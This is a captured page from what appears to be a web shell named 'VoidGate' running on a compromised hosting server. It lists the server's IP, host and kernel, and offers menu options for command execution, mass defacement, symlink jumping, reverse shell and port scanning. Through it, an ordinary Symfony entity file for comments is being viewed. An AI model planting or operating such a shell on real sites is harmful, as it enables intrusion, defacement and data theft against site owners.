ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Entity
/
Viewing: Commentaire.php
<?php namespace App\Entity; use ApiPlatform\Core\Annotation\ApiResource; use App\Repository\CommentaireRepository; use Doctrine\Common\Collections\ArrayCollection; use Doctrine\Common\Collections\Collection; use Doctrine\ORM\Mapping as ORM; /** * @ApiResource() * @ORM\Entity(repositoryClass=CommentaireRepository::class) */ class Commentaire { /** * @ORM\Id() * @ORM\GeneratedValue() * @ORM\Column(type="integer") */ private $id; /** * @ORM\Column(type="string", length=1055) */ private $userComment; /** * @ORM\Column(type="string", length=255) */ private $commentBy; /** * @ORM\Column(type="datetime") */ private $commentAt; /** * @ORM\ManyToMany(targetEntity=Actualite::class, inversedBy="commentaires") */ private $actualite; public function __construct() { $this->actualite = new ArrayCollection(); $this->commentAt = new \DateTime( ); } public function getId(): ?int { return $this->id; } public function getUserComment(): ?string { return $this->userComment; } public function setUserComment(string $userComment): self { $this->userComment = $userComment; return $this; } public function getCommentBy(): ?string { return $this->commentBy; } public function setCommentBy(string $commentBy): self { $this->commentBy = $commentBy; return $this; } public function getCommentAt(): ?\DateTimeInterface { return $this->commentAt; } public function setCommentAt(\DateTimeInterface $commentAt): self { $this->commentAt = $commentAt; return $this; } /** * @return Collection|Actualite[] */ public function getActualite(): Collection { return $this->actualite; } public function addActualite(Actualite $actualite): self { if (!$this->actualite->contains($actualite)) { $this->actualite[] = $actualite; } return $this; } public function removeActualite(Actualite $actualite): self { if ($this->actualite->contains($actualite)) { $this->actualite->removeElement($actualite); } return $this; } public function __toString() { // TODO: Implement __toString() method. return "(".$this->id.")". $this->userComment; } }
Coded With 💗 by
0x6ick